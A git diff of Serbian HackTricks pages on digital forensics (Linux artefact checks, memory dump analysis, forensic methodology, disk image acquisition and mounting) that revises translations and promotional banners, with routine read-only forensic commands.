* **Istražiti neočekivane skripte** u sistemskom $PATH, koje mogu uključivati shell ili PHP skripte koje koriste napadači.
|
||||
* **Istražiti `/dev` za atipične datoteke**, jer tradicionalno sadrži specijalne datoteke, ali može sadržati i datoteke povezane sa malverom.
|
||||
* **Pretražiti skrivene datoteke ili direktorijume** sa nazivima kao što su ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koje bi mogle skrivati zlonamerni sadržaj.
|
||||
* **Identifikovati setuid root datoteke** koristeći komandu: `find / -user root -perm -04000 -print` Ovo pronalazi datoteke sa povišenim privilegijama, koje bi napadači mogli zloupotrebiti.
|
||||
* **Identifikovati setuid root datoteke** koristeći komandu: `find / -user root -perm -04000 -print` Ovo pronalazi datoteke sa povišenim dozvolama, koje bi napadači mogli zloupotrebiti.
|
||||
* **Pregledati vremenske oznake brisanja** u inode tabelama kako bi se uočila masovna brisanja datoteka, što može ukazivati na prisustvo rootkit-ova ili trojanaca.
|
||||
* **Istražiti uzastopne inode** za obližnje zlonamerne datoteke nakon identifikacije jedne, jer su možda postavljene zajedno.
|
||||
* **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane datoteke, jer bi ove mogle biti izmenjene od strane malvera.
|
||||
|
@ -389,7 +389,7 @@ Da bismo uporedili verzije datotečnog sistema i precizirali promene, koristimo
|
|||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Za izmenjen sadržaj**, navedite promene ignorišući specifične linije:
|
||||
* **Za izmenjeni sadržaj**, navedite promene ignorišući specifične linije:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
|
@ -415,19 +415,20 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Knjiga: Vodič za forenziku malvera za Linux sisteme: Vodiči za digitalnu forenziku**
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite AWS hacking od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Da li radite u **kompaniji za sajber bezbednost**? Da li želite da vidite vašu **kompaniju oglašenu u HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF**? Proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Podelite svoje hacking trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -1,72 +1,52 @@
|
|||
# Analiza memorijskog ispusta
|
||||
# Analiza memorijskih dump-ova
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Početak
|
||||
|
||||
Počnite **tražiti** zlonamerni softver unutar pcap-a. Koristite **alate** navedene u [**Analizi zlonamernog softvera**](../malware-analysis.md).
|
||||
Počnite **pretragu** za **malverom** unutar pcap-a. Koristite **alate** navedene u [**Analiza malvera**](../malware-analysis.md).
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility je glavni open-source okvir za analizu memorijskog ispusta**. Ovaj Python alat analizira ispuste sa eksternih izvora ili VMware VM-ova, identifikujući podatke kao što su procesi i lozinke na osnovu profila operativnog sistema ispusta. Može se proširiti pomoću dodataka, što ga čini izuzetno fleksibilnim za forenzičke istrage.
|
||||
**Volatility je glavni open-source okvir za analizu memorijskih dump-ova**. Ovaj Python alat analizira dump-ove iz spoljašnjih izvora ili VMware VM-ova, identifikujući podatke kao što su procesi i lozinke na osnovu OS profila dump-a. Proširiv je sa plugin-ovima, što ga čini veoma svestranim za forenzičke istrage.
|
||||
|
||||
**[Ovde pronađite cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
## Izveštaj o mini dump-u
|
||||
|
||||
## Izveštaj o padu mini ispusta
|
||||
|
||||
Kada je ispust mali (samo nekoliko KB, možda nekoliko MB), verovatno je izveštaj o padu mini ispusta, a ne memorijski ispušt.
|
||||
Kada je dump mali (samo nekoliko KB, možda nekoliko MB), onda je verovatno reč o izveštaju o mini dump-u, a ne o memorijskom dump-u.
|
||||
|
||||
![](<../../../.gitbook/assets/image (216).png>)
|
||||
|
||||
Ako imate instaliran Visual Studio, možete otvoriti ovaj fajl i dobiti osnovne informacije kao što su naziv procesa, arhitektura, informacije o izuzecima i izvršeni moduli:
|
||||
Ako imate instaliran Visual Studio, možete otvoriti ovu datoteku i povezati neke osnovne informacije kao što su ime procesa, arhitektura, informacije o izuzecima i moduli koji se izvršavaju:
|
||||
|
||||
![](<../../../.gitbook/assets/image (217).png>)
|
||||
|
||||
Takođe možete učitati izuzetak i videti dekompilirane instrukcije
|
||||
Takođe možete učitati izuzetak i videti dekompilovane instrukcije
|
||||
|
||||
![](<../../../.gitbook/assets/image (219).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (218) (1).png>)
|
||||
|
||||
U svakom slučaju, Visual Studio nije najbolji alat za analizu dubine ispusta.
|
||||
U svakom slučaju, Visual Studio nije najbolji alat za izvođenje analize dubine dump-a.
|
||||
|
||||
Trebali biste ga **otvoriti** koristeći **IDA** ili **Radare** da biste ga detaljnije pregledali.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
Trebalo bi da ga **otvorite** koristeći **IDA** ili **Radare** za detaljnu inspekciju.
|
||||
|
|
|
@ -1,40 +1,43 @@
|
|||
# Osnovna forenzička metodologija
|
||||
# Osnovna Forenzička Metodologija
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kreiranje i montiranje slike
|
||||
## Kreiranje i Montiranje Slike
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
|
||||
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Analiza malvera
|
||||
## Analiza Malvera
|
||||
|
||||
Ovo **nije neophodan prvi korak koji treba izvršiti nakon što imate sliku**. Ali možete koristiti tehnike analize malvera nezavisno ako imate datoteku, sliku fajl-sistema, memorijsku sliku, pcap... pa je dobro **imati ove akcije na umu**:
|
||||
Ovo **nije nužno prvi korak koji treba preduzeti kada imate sliku**. Ali možete koristiti ove tehnike analize malvera nezavisno ako imate datoteku, sliku datotečnog sistema, sliku memorije, pcap... tako da je dobro **imati na umu ove akcije**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspekcija slike
|
||||
## Istraživanje Slike
|
||||
|
||||
Ako vam je data **forenzička slika** uređaja, možete početi **analizirati particije, korišćeni fajl-sistem** i **oporavljati** potencijalno **interesantne datoteke** (čak i one obrisane). Naučite kako u:
|
||||
Ako vam je data **forenzička slika** uređaja, možete početi **analizirati particije, datotečni sistem** koji se koristi i **opraviti** potencijalno **zanimljive datoteke** (čak i obrisane). Saznajte kako u:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Zavisno o korišćenim OS-ovima i čak platformi, treba tražiti različite interesantne artefakte:
|
||||
U zavisnosti od korišćenih OS-ova i čak platformi, različiti zanimljivi artefakti treba da se pretražuju:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
|
@ -48,34 +51,34 @@ Zavisno o korišćenim OS-ovima i čak platformi, treba tražiti različite inte
|
|||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dubinska inspekcija specifičnih tipova datoteka i softvera
|
||||
## Dubinska Inspekcija Specifičnih Tipova Datoteka i Softvera
|
||||
|
||||
Ako imate veoma **sumnjivu** **datoteku**, onda **zavisno o tipu datoteke i softveru** koji ju je kreirao, nekoliko **trikova** može biti korisno.\
|
||||
Pročitajte sledeću stranicu da biste naučili neke interesantne trikove:
|
||||
Ako imate veoma **sumnjivu** **datoteku**, onda **u zavisnosti od tipa datoteke i softvera** koji je kreirao, nekoliko **trikova** može biti korisno.\
|
||||
Pročitajte sledeću stranicu da biste saznali neke zanimljive trikove:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Želim da napomenem stranicu:
|
||||
Želim da posebno pomenem stranicu:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
|
||||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspekcija memorijskog ispusta
|
||||
## Inspekcija Dump-a Memorije
|
||||
|
||||
{% content-ref url="memory-dump-analysis/" %}
|
||||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspekcija pcap-a
|
||||
## Inspekcija Pcap-a
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Anti-forenzičke tehnike**
|
||||
## **Anti-forenzičke Tehnike**
|
||||
|
||||
Imajte na umu moguću upotrebu anti-forenzičkih tehnika:
|
||||
|
||||
|
@ -83,20 +86,23 @@ Imajte na umu moguću upotrebu anti-forenzičkih tehnika:
|
|||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lov na pretnje
|
||||
## Lov na Pretnje
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# Akvizicija slike i montaža
|
||||
# Image Acquisition & Mount
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Akvizicija
|
||||
## Acquisition
|
||||
|
||||
### DD
|
||||
```bash
|
||||
|
@ -54,13 +57,13 @@ ewfacquire /dev/sdb
|
|||
#Then use default values
|
||||
#It will generate the disk image in the current directory
|
||||
```
|
||||
## Montiranje
|
||||
## Mount
|
||||
|
||||
### Više tipova
|
||||
### Several types
|
||||
|
||||
Na **Windows** operativnom sistemu možete pokušati da koristite besplatnu verziju Arsenal Image Mounter alata ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) za **montiranje forenzičke slike**.
|
||||
U **Windows** možete pokušati da koristite besplatnu verziju Arsenal Image Mounter-a ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) da **montirate forenzičku sliku**.
|
||||
|
||||
### Sirova
|
||||
### Raw
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.img
|
||||
|
@ -88,10 +91,10 @@ mount output/ewf1 -o ro,norecovery /mnt
|
|||
|
||||
To je Windows aplikacija za montiranje volumena. Možete je preuzeti ovde [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
|
||||
|
||||
### Greške
|
||||
### Errors
|
||||
|
||||
* **`ne može da montira /dev/loop0 samo za čitanje`** u ovom slučaju morate koristiti zastave **`-o ro,norecovery`**
|
||||
* **`pogrešan tip fs, loša opcija, loš superblock na /dev/loop0, nedostaje codepage ili pomoćni program, ili druga greška.`** u ovom slučaju montiranje nije uspelo jer je offset fajl sistema različit od offseta disk slike. Morate pronaći veličinu sektora i početni sektor:
|
||||
* **`cannot mount /dev/loop0 read-only`** u ovom slučaju treba da koristite oznake **`-o ro,norecovery`**
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** u ovom slučaju montiranje je neuspešno jer je pomeraj datotečnog sistema drugačiji od onog na slici diska. Treba da pronađete veličinu sektora i početni sektor:
|
||||
```bash
|
||||
fdisk -l disk.img
|
||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||
|
@ -104,7 +107,7 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
Imajte na umu da je veličina sektora **512** i početak je **2048**. Zatim montirajte sliku na sledeći način:
|
||||
Napomena da je veličina sektora **512** a početak je **2048**. Zatim montirajte sliku ovako:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
|
@ -112,14 +115,17 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
